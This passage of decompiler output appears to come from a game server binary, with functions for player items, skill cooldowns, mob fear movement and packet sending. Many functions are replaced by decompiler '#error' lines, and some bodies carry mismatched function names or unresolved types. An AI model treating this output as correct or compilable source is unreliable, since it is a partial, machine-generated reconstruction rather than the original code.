*)&argument); if ( DebugLogging::dl_ActivAll ) { if ( v6->dl_Activ ) { DebugLogging::dl_FilePoint(v6); v7 = v6->dl_FilePointer; if ( v7 ) fprintf(v7, "%d"); } } v8 = DebugLogging::operator<<(v6, (char *)&unk_63D200); if ( DebugLogging::dl_ActivAll ) { if ( v8->dl_Activ ) { DebugLogging::dl_FilePoint(v8); v9 = v8->dl_FilePointer; if ( v9 ) fprintf(v9, "%d"); } } v10 = DebugLogging::operator<<(v8, (char *)&stru_63C688); if ( DebugLogging::dl_ActivAll ) { if ( v10->dl_Activ ) { DebugLogging::dl_FilePoint(v10); v11 = v10->dl_FilePointer; if ( v11 ) fprintf(v11, "%d"); } } v12 = DebugLogging::operator<<(v10, " => "); if ( DebugLogging::dl_ActivAll ) { if ( v12->dl_Activ ) { DebugLogging::dl_FilePoint(v12); v13 = v12->dl_FilePointer; if ( v13 ) fprintf(v13, "%d"); } } v14 = DebugLogging::operator<<(v12, (char *)&stru_63C688); if ( DebugLogging::dl_ActivAll ) { if ( v14->dl_Activ ) { DebugLogging::dl_FilePoint(v14); v15 = v14->dl_FilePointer; if ( v15 ) fprintf(v15, "%d"); } } DebugLogging::operator<<(v14, &deb_LF); v4 = v17; } if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v16 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v16 + 12))(v16, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::smo_ply_ReinforceRun : Packet Too Long", 10); } } // 6A7AA1: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (00538FF0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::so_mobile_IsInFear(int this) { return (*(_BYTE *)(this + 7428) >> 2) & 1; } //----- (00539000) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineDropItem::so_relink(ShineObjectClass::ShineDoor *this, int flag) { ShineObjectClass::ShineDoor *v2; // eax@1 int v3; // ecx@1 v2 = this; v3 = *(_DWORD *)&this->gap0[98]; if ( v3 ) FieldMap::fm_MoveCenter(v3, *(_DWORD *)&v2->gap0[78]); } //----- (00539020) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_relink(void *this, int flag) { void *v2; // esi@1 int result; // eax@1 int v4; // ecx@1 char buf[62]; // [sp+4h] [bp-44h]@1 unsigned int v6; // [sp+44h] [bp-4h]@1 v2 = this; v6 = (unsigned int)buf ^ __security_cookie; result = sprintf(buf, "%p/%p"); v4 = *(_DWORD *)((char *)v2 + 98); if ( v4 ) result = FieldMap::fm_MoveCenter(v4, *(_DWORD *)((char *)v2 + 78)); return result; } //----- (00539080) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_DestroyItem(void *this, __int16 handle, int iti, int inv) { void *v4; // ebx@1 char *v5; // esi@1 int v6; // eax@1 int v7; // eax@1 char v8; // al@1 int v9; // esi@1 ZoneBaseSession *v10; // eax@3 int v11; // edx@4 int v12; // edi@4 int v13; // eax@4 int v14; // eax@4 FunctionEntarance _; // [sp+10h] [bp-84h]@1 int empty; // [sp+14h] [bp-80h]@4 int v17; // [sp+18h] [bp-7Ch]@4 __int16 v18; // [sp+1Ch] [bp-78h]@4 __int16 v19; // [sp+80h] [bp-14h]@4 char v20; // [sp+82h] [bp-12h]@4 unsigned int v21; // [sp+84h] [bp-10h]@1 int v22; // [sp+90h] [bp-4h]@1 v4 = this; v21 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_DestroyItemA"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_DestroyItemA"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_DestroyItemA"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13401; *((_WORD *)v5 + 1) = handle; v6 = *(_DWORD *)v4; v22 = 0; *((_DWORD *)v5 + 1) = (*(int (__thiscall **)(void *))(v6 + 836))(v4); v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2004))(v4); *((_WORD *)v5 + 4) = AxialListNearGateFind::alngf_Gethandle(v7); v5[10] = 0; *(_DWORD *)(v5 + 25) = *(_DWORD *)iti; *(_DWORD *)(v5 + 29) = *(_DWORD *)(iti + 4); v8 = v5[10] ^ (v5[10] ^ (v5[10] + 1)) & 0x7F; v5[10] = v8; v9 = 8 * (v8 & 0x7F) + 25; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v9) ) { v10 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v10); } else { AssertClass::ac_AssertFail( &shineassert, (const char *)&stru_63450C.maa_TargetSelect.aggresive.mta_InstanceTarget.mts_EnemyAnalyzer.baseclass_0.io_Pointer.mask, v9); } empty = -1; v17 = -1; v11 = *(_DWORD *)v4; memset(&v18, 0, 0x64u); v19 = 0; v20 = 0; v12 = *((_DWORD *)v4 + 14470); v18 = -1; v13 = (*(int (__thiscall **)(void *, int, int *, int, int))(v11 + 2004))(v4, inv, &empty, inv, inv); LOWORD(v14) = AxialListNearGateFind::alngf_Gethandle(v13); (*(void (__thiscall **)(char *, int))(v12 + 60))((char *)v4 + 57880, v14); InventoryLocking::InventoryCellLock::icl_IncIndex((InventoryLocking::InventoryCellLock *)v4 + 7235); --funcallanalizer.fca_stackpoint; v22 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_DestroyItemA"); __security_check_cookie((unsigned int)&_ ^ v21); } //----- (00539240) -------------------------------------------------------- #error "539240: undefined or illegal type '#593' (funcsize=30)" //----- (00539290) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::smo_ply_WeaponTitleSet(void *this, __int16 mob) { void *v2; // ebx@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_ply_WeaponTitleSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_ply_WeaponTitleSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; memcpy((char *)v2 + 5204, ¶meter_eraser_plus, 0xC0u); memcpy((char *)v2 + 5396, ¶meter_eraser_rate, 0xC0u); *((_DWORD *)v2 + 1381) = 0; *((_DWORD *)v2 + 1382) = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_ply_WeaponTitleSet"); } //----- (00539320) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_WeaponTitleOption(void *this, unsigned __int8 reference, unsigned __int16 type, int value) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_WeaponTitleOption"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_WeaponTitleOption"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( reference ) { if ( reference == 1 ) { if ( type == 1 ) *((_DWORD *)v4 + 1381) += value; else AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_WeaponTitleOption : Invalid type in WEAPON_TITLE_DATA::ABSTATE", type); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_WeaponTitleOption : Invalid reference", reference); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_WeaponTitleOption"); } //----- (00539400) -------------------------------------------------------- #error "539400: undefined or illegal type '#593' (funcsize=85)" //----- (00539540) -------------------------------------------------------- #error "539540: undefined or illegal type '#593' (funcsize=655)" //----- (00539E50) -------------------------------------------------------- #error "539E50: undefined or illegal type '#593' (funcsize=56)" //----- (00539F40) -------------------------------------------------------- #error "539F40: undefined or illegal type '#593' (funcsize=87)" //----- (0053A080) -------------------------------------------------------- #error "53A080: undefined or illegal type '#615' (funcsize=227)" //----- (0053A3B0) -------------------------------------------------------- #error "53A3B0: undefined or illegal type '#593' (funcsize=110)" //----- (0053A520) -------------------------------------------------------- #error "53A520: undefined or illegal type '#615' (funcsize=263)" //----- (0053A8A0) -------------------------------------------------------- #error "53A8A0: undefined or illegal type '#615' (funcsize=108)" //----- (0053AA30) -------------------------------------------------------- #error "53AA30: undefined or illegal type '#615' (funcsize=66)" //----- (0053AB40) -------------------------------------------------------- #error "53AB40: undefined or illegal type '#615' (funcsize=100)" //----- (0053ACC0) -------------------------------------------------------- #error "53ACC0: undefined or illegal type '#593' (funcsize=78)" //----- (0053ADE0) -------------------------------------------------------- #error "53ADE0: undefined or illegal type '#593' (funcsize=76)" //----- (0053AF10) -------------------------------------------------------- #error "53AF10: undefined or illegal type '#593' (funcsize=34)" //----- (0053AFB0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_GetTargetInfo(void *ply, int a2) { void *v2; // esi@1 int v3; // eax@1 v2 = ply; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_GetTargetInfo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_GetTargetInfo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *((_DWORD *)v2 + 8074); if ( !v3 ) v3 = *((_DWORD *)v2 + 8075); if ( v3 == a2 ) TargetObject::to_SendInform((TargetObject *)((char *)v2 + 32288), (#734 *)v2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_GetTargetInfo"); } //----- (0053B060) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_RescueRoutine(void *this) { void *v1; // esi@1 unsigned __int16 v2; // ax@3 unsigned __int16 v3; // di@3 #593 *v4; // ebx@5 char v5; // al@8 char *v6; // [sp-4h] [bp-24h]@2 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_RescueRoutine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_RescueRoutine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (unsigned __int8)(*(int (**)(void))(**((_DWORD **)v1 + 2257) + 1152))() == 2 ) { v2 = (*(int (**)(void))(**((_DWORD **)v1 + 2257) + 1872))(); v3 = v2; if ( v2 == -1 ) { *((_DWORD *)v1 + 2257) = 0; *((_DWORD *)v1 + 2258) = 60000; } else { v4 = ShineObjectManager::som_GetObject(&shineobjmanager, v2); if ( v4 != 0 ) { if ( *((_DWORD *)v1 + 2258) > (unsigned int)(*(int (**)(void))(**((_DWORD **)v1 + 2257) + 1252))() ) { (*(void (__thiscall **)(void *, #593 *, signed int))(*(_DWORD *)v1 + 1784))(v1, v4, 1); *((_DWORD *)v1 + 2258) = (*(int (**)(void))(**((_DWORD **)v1 + 2257) + 1252))(); v5 = *((_BYTE *)v1 + 9024); if ( !(v5 & 4) ) { if ( v5 & 2 ) MobChat::MobChatManager::mcm_HelpAckChat(&mobchatman); else MobChat::MobChatManager::mcm_DetectBattleChat(&mobchatman); *((_BYTE *)v1 + 9024) |= 4u; } } } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineMob::so_RescueRoutine : Null target", v3); *((_DWORD *)v1 + 2257) = 0; *((_DWORD *)v1 + 2258) = 60000; } } v6 = "ShineObjectClass::ShineMob::so_RescueRoutine"; } else { *((_DWORD *)v1 + 2257) = 0; *((_DWORD *)v1 + 2258) = 60000; v6 = "ShineObjectClass::ShineMob::so_RescueRoutine"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v6); } //----- (0053B1E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::SkillCastStruct::scs_Clear(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::SkillCastStruct::scs_Clear"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::SkillCastStruct::scs_Clear"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_DWORD *)v1 = 0; *((_DWORD *)v1 + 2) = 0; *((_DWORD *)v1 + 4) = 0; *((_DWORD *)v1 + 3) = 0; *((_DWORD *)v1 + 5) = 0; *((_DWORD *)v1 + 6) = 0; *((_DWORD *)v1 + 8) = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::SkillCastStruct::scs_Clear"); } //----- (0053B250) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_NewSkillCoolTime(void *this, __int16 skl, int sec) { void *v3; // esi@1 char *v4; // eax@1 int v5; // eax@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_NewSkillCoolTime"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_NewSkillCoolTime"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 18465; *((_DWORD *)v4 + 1) = sec; *((_WORD *)v4 + 1) = skl; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 8) ) { v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 764))(v3); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v5 + 12))(v5, v3, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_NewSkillCoolTime : Packet Too Long", 8); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_NewSkillCoolTime"); } //----- (0053B340) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::smo_RunInFear(void *this) { void *v1; // ebp@1 __int16 v2; // ax@7 unsigned int v3; // eax@13 __int64 v4; // qax@13 int v5; // esi@13 signed int v6; // edx@13 int v7; // edi@13 int v8; // eax@13 int v9; // ecx@13 char *v10; // [sp-4h] [bp-34h]@12 int locate; // [sp+14h] [bp-1Ch]@13 int v12; // [sp+18h] [bp-18h]@13 SHINE_XY_TYPE xy; // [sp+1Ch] [bp-14h]@13 int v14; // [sp+2Ch] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_RunInFear"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_RunInFear"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v14 = 0; if ( !(_S6_16 & 1) ) { _S6_16 |= 1u; nUseHPPotion_0 = BTree::operator__(&skillnametree, "UseHPPotion"); LOBYTE(v14) = 0; } if ( !(_S6_16 & 2) ) { _S6_16 |= 2u; nUseSPPotion_0 = BTree::operator__(&skillnametree, "UseSPPotion"); LOBYTE(v14) = 0; } if ( !(_S6_16 & 4) ) { _S6_16 |= 4u; nUsePotion_0 = BTree::operator__(&skillnametree, "UsePotion"); LOBYTE(v14) = 0; } v2 = *((_WORD *)v1 + 3594); if ( v2 != nUseHPPotion_0 && v2 != nUseSPPotion_0 && v2 != nUsePotion_0 ) *((_DWORD *)v1 + 1796) = 0; if ( *((_DWORD *)v1 + 66) <= 0u ) { v3 = rndbox.rb_box[64].rs_point.mask & (rndbox.rb_box[64].rs_point.value + 1); rndbox.rb_box[64].rs_point.value = v3; v4 = 180 * rndbox.rb_box[64].rs_slot[v3]; v5 = ((BYTE4(v4) & 0x3F) + (signed int)v4) >> 6; v6 = (signed int)((unsigned __int64)(1717986919i64 * 3200 * ShineRadian::sr_sin1024(&shineradian, v5) / 1024) >> 32) >> 2; v7 = v6 + ((unsigned int)v6 >> 31); v8 = ShineRadian::sr_cos1024(&shineradian, v5); v9 = *(_DWORD *)((char *)v1 + 78); locate = v7 + *(_DWORD *)v9; v12 = 3200 * v8 / 1024 / 10 + *(_DWORD *)(v9 + 4); if ( ShineObjectClass::ShineObject::so_FindBlockLocate( v1, (int)&locate, 450, (int)&xy, (int (__thiscall *)(_DWORD, _DWORD, _DWORD))MapBlock::MapBlockInformation::mbi_IsMoveBlock) ) (*(void (__thiscall **)(void *, SHINE_XY_TYPE *, signed int, signed int, signed int, signed int))(*(_DWORD *)v1 + 1452))( v1, &xy, 26, 73, 2, 2); v14 = -1; v10 = "ShineObjectClass::ShineMobileObject::smo_RunInFear"; } else { MoveManager::mm_Step((MoveManager *)((char *)v1 + 232), 0); v14 = -1; v10 = "ShineObjectClass::ShineMobileObject::smo_RunInFear"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v10); } //----- (0053B580) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_MoveByServer(void *this, int xy, __int16 someone, int me, int mm, int flag) { void *v6; // edi@1 int v7; // edx@1 unsigned __int16 v8; // ax@2 char *v9; // eax@4 int v10; // esi@4 int v11; // eax@4 __int16 v12; // ax@5 int v13; // ST04_4@7 int v14; // eax@7 AxialListPacketBroadcast alchat; // [sp+14h] [bp-18h]@7 int v16; // [sp+28h] [bp-4h]@1 v6 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_MoveByServer"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_MoveByServer"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v7 = *(_DWORD *)v6; v16 = 0; (*(void (__thiscall **)(void *, signed int))(v7 + 3320))(v6, 1); if ( mm == 2 ) v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v6 + 1300))(v6); else v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v6 + 1296))(v6); (*(void (__thiscall **)(void *, int, _DWORD, int, _DWORD))(*(_DWORD *)v6 + 1624))(v6, xy, v8, mm, 0); v9 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = someone & 0x3FF | 0x2000; v10 = (int)(v9 + 2); *((_WORD *)v9 + 1) = *((_WORD *)v6 + 2); v11 = *(_DWORD *)((char *)v6 + 78); *(_DWORD *)(v10 + 2) = *(_DWORD *)v11; *(_DWORD *)(v10 + 6) = *(_DWORD *)(v11 + 4); *(_DWORD *)(v10 + 10) = *(_DWORD *)xy; *(_DWORD *)(v10 + 14) = *(_DWORD *)(xy + 4); *(_BYTE *)(v10 + 20) &= 0xFEu; if ( mm == 2 ) v12 = (*(int (__thiscall **)(void *))(*(_DWORD *)v6 + 1300))(v6); else v12 = (*(int (__thiscall **)(void *))(*(_DWORD *)v6 + 1296))(v6); *(_WORD *)(v10 + 18) = v12; *((_WORD *)v6 + 97) = me; *((_DWORD *)v6 + 49) = *(_DWORD *)v10; *((_DWORD *)v6 + 50) = *(_DWORD *)(v10 + 4); *((_DWORD *)v6 + 51) = *(_DWORD *)(v10 + 8); *((_DWORD *)v6 + 52) = *(_DWORD *)(v10 + 12); *((_DWORD *)v6 + 53) = *(_DWORD *)(v10 + 16); *((_BYTE *)v6 + 216) = *(_BYTE *)(v10 + 20); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 23); v13 = *(_DWORD *)((char *)v6 + 78); LOBYTE(v16) = 1; v14 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v6, v14, v13, 0, 0, (int)&alchat, 0, 65535); LOBYTE(v16) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); (*(void (__thiscall **)(void *, int, int, int))(*(_DWORD *)v6 + 3328))(v6, xy, me, flag); --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_MoveByServer"); } //----- (0053B740) -------------------------------------------------------- ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType __thiscall ShineObjectClass::ShinePlayer::TimeScheduler::ts_TimerCheck(ShineObjectClass::ShinePlayer::TimeScheduler *this, #734 *sp) { ShineObjectClass::ShinePlayer::TimeScheduler *v2; // esi@1 ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType v3; // esi@2 ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType (__thiscall *v4)(#734 *); // eax@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::TimeScheduler::ts_TimerCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::TimeScheduler::ts_TimerCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( clockwatch.cw_CurrTick >= v2->ts_Limit ) { v4 = v2->ts_CallFunc; v2->ts_Limit = 0; v2->ts_CurWork = 0; v2->ts_CallFunc = (ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType (__thiscall *)(#734 *))CGambleObject::GDTSO_GetGameStatus; v2->ts_TimerFunc = (ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType (__thiscall *)(ShineObjectClass::ShinePlayer::TimeScheduler *, #734 *))ShineObjectClass::ShineObject::so_mh_PortalOpen; v3 = (int)v4(sp); } else { v3 = v2->ts_DefaultReturn; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::TimeScheduler::ts_TimerCheck"); return v3; } //----- (0053B800) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::TimeScheduler::TimeScheduler(ShineObjectClass::ShinePlayer::TimeScheduler *this) { this->ts_Limit = 0; this->ts_CallFunc = (ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType (__thiscall *)(#734 *))CGambleObject::GDTSO_GetGameStatus; this->ts_TimerFunc = (ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType (__thiscall *)(ShineObjectClass::ShinePlayer::TimeScheduler *, #734 *))ShineObjectClass::ShineObject::so_mh_PortalOpen; this->ts_CurWork = 0; } //----- (0053B820) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SmallItemActivCheck(void *this, int a2, __int16 a3) { int v3; // esi@1 int v4; // edi@1 int v5; // eax@1 int v6; // eax@1 int v7; // eax@3 ItemInform_ActionItem *v8; // ebp@3 ItemAttributeClassContainer *v9; // ebx@4 ShineDateTime *v10; // eax@7 unsigned __int16 v11; // ax@9 CIDEB_Element *v12; // eax@9 ChargedItemEffect *v13; // eax@10 unsigned __int16 v14; // ax@11 int v15; // eax@13 int v16; // ecx@13 int v17; // esi@14 int v18; // eax@14 char *v19; // esi@14 int v20; // eax@14 int v21; // eax@14 char v22; // al@14 ZoneBaseSession *v23; // eax@15 int (__thiscall **v24)(_DWORD, _DWORD); // eax@17 int v25; // eax@17 char flag[4]; // [sp+28h] [bp-B8h]@1 int v27; // [sp+2Ch] [bp-B4h]@1 int v28; // [sp+30h] [bp-B0h]@7 int v29; // [sp+34h] [bp-ACh]@1 int v30; // [sp+38h] [bp-A8h]@1 struct tm tb; // [sp+3Ch] [bp-A4h]@13 ItemTotalInformation iti; // [sp+60h] [bp-80h]@14 unsigned int v33; // [sp+D0h] [bp-10h]@1 int v34; // [sp+DCh] [bp-4h]@1 v3 = a2; v4 = (int)this; v33 = (unsigned int)flag ^ __security_cookie; v27 = (int)this; v29 = a2; v30 = (int)"ShineObjectClass::ShinePlayer::sp_ActionItemActivCheck"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ActionItemActivCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_ActionItemActivCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = *(_DWORD *)a2; v34 = 0; *(_WORD *)flag = a3 << 10; v6 = (*(int (__thiscall **)(int))(v5 + 8))(a2); if ( (*(_WORD *)flag & 0x3FF) < v6 ) { do { if ( !(unsigned __int8)(*(int (__thiscall **)(int, char *))(*(_DWORD *)(v4 + 57880) + 12))(v4 + 57880, flag) ) { v7 = (**(int (__thiscall ***)(_DWORD, _DWORD))v3)(v3, *(_WORD *)flag & 0x3FF); v8 = (ItemInform_ActionItem *)v7; if ( v7 ) { v9 = *(ItemAttributeClassContainer **)(v7 + 16); if ( !v9 ) v9 = &itmattcontainer; if ( ItemInventoryCell::iic_ItemIdent((ItemInform_ActionItem *)v7) != -1 ) { v10 = ItemInform_ActionItem::sii_GetDeteleDateTime(v8); v28 = (int)v10; if ( v10 ) { if ( !LOBYTE(v10->_bf0) ) { v11 = ItemInventoryCell::iic_ItemIdent(v8); v12 = ChargedItemEffectDataBox::cideb_GetItemID(&chargedbuffdatabox, v11); if ( v12 ) { v13 = v12->ce_Data; if ( v13 ) { v14 = v13->KeepTime_Hour; if ( v14 ) { memcpy((void *)&tb, &stru_8C8DD4, sizeof(tb)); tb.tm_hour = v14 + (((unsigned int)chargeditemcheck._bf0 >> 19) & 0x3F); mktime(&tb); v15 = v28; v16 = tb.tm_min; *(_BYTE *)v28 = LOBYTE(tb.tm_year) - 100; v4 = v27; *(_DWORD *)v15 = *(_DWORD *)v15 & 0xFF | ((LOWORD(tb.tm_mon) + 1) << 8) & 0x1F00 | ((tb.tm_mday & 0x3F | ((tb.tm_hour & 0x3F | (v16 << 6)) << 6)) << 13); } else { *(_DWORD *)v28 = 1992027391; } MoveManager::MoveManager((DiceTaiSai *)v8); MoveManager::MoveManager((DiceTaiSai *)v8); ItemInventoryCell::iic_ItemIdent(v8); ItemInform_ActionItem::sii_Export(v8, &iti); v17 = *(_DWORD *)(v4 + 57880); LOWORD(v18) = AxialListNearGateFind::alngf_Gethandle(v4 + 57880); (*(void (__thiscall **)(int, int, char *, ItemTotalInformation *))(v17 + 60))( v4 + 57880, v18, flag, &iti); v19 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13385; *((_WORD *)v19 + 1) = *(_WORD *)(v4 + 4); *((_DWORD *)v19 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 836))(v4); *((_WORD *)v19 + 4) = AxialListNearGateFind::alngf_Gethandle(v4 + 57880); *(_DWORD *)(v19 + 10) = tb.tm_yday; *(_DWORD *)(v19 + 14) = tb.tm_isdst; *((_WORD *)v19 + 9) = *(_WORD *)&iti; memcpy(v19 + 20, &iti.iti_registnum.binary.gap0[2], 0x64u); v19[120] = HIBYTE(iti.iti_itemstruct.itemattr.binditem.portal[9].mapid); v9->iacc_default.vfptr->iac_GetAttrSize( (ItemAttributeClass *)v9, (SHINE_ITEM_ATTRIBUTE *)&iti.iti_registnum.binary.gap0[2]); v20 = v9->iacc_default.vfptr->iac_GetAttrSize( (ItemAttributeClass *)v9, (SHINE_ITEM_ATTRIBUTE *)&iti.iti_registnum.binary.gap0[2]); v21 = ((int (__thiscall *)(ItemAttributeClassContainer *, _BYTE *, _DWORD, int))v9->iacc_default.vfptr->iac_GetAttrSize)( v9, &iti.iti_registnum.binary.gap0[2], "ShineObjectClass::ShinePlayer::sp_MiniHouseActCheck : Packet Too Long", v20 + 20); v22 = ProtocolPacket::pp_SetPacketLen(&gpp, v21 + 20); if ( !AssertClass::operator__(&shineassert, (unsigned __int8)v22, flag, (int)flag) ) { v23 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v23); } InventoryLocking::InventoryCellLock::icl_IncIndex((InventoryLocking::InventoryCellLock *)(v27 + 57880)); v3 = v29; v4 = v27; } } } } } } } v24 = *(int (__thiscall ***)(_DWORD, _DWORD))v3; *(_WORD *)flag ^= (*(_WORD *)flag ^ (*(_WORD *)flag + 1)) & 0x3FF; v25 = ((int (__thiscall *)(int))v24[2])(v3); } while ( (*(_WORD *)flag & 0x3FF) < v25 ); } --funcallanalizer.fca_stackpoint; v34 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ActionItemActivCheck"); __security_check_cookie((unsigned int)flag ^ v33); } //----- (0053BB90) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SmallItemDelete(void *ecx0, ItemInform_ActionItem *this, __int16 a3, __int16 a4, int a5) { void *v5; // esi@1 int v6; // eax@2 unsigned int v7; // ecx@2 char *v8; // ecx@2 __int16 v9; // [sp+Ch] [bp-88h]@1 int v10; // [sp+10h] [bp-84h]@1 ItemTotalInformation iti; // [sp+14h] [bp-80h]@2 unsigned int v12; // [sp+84h] 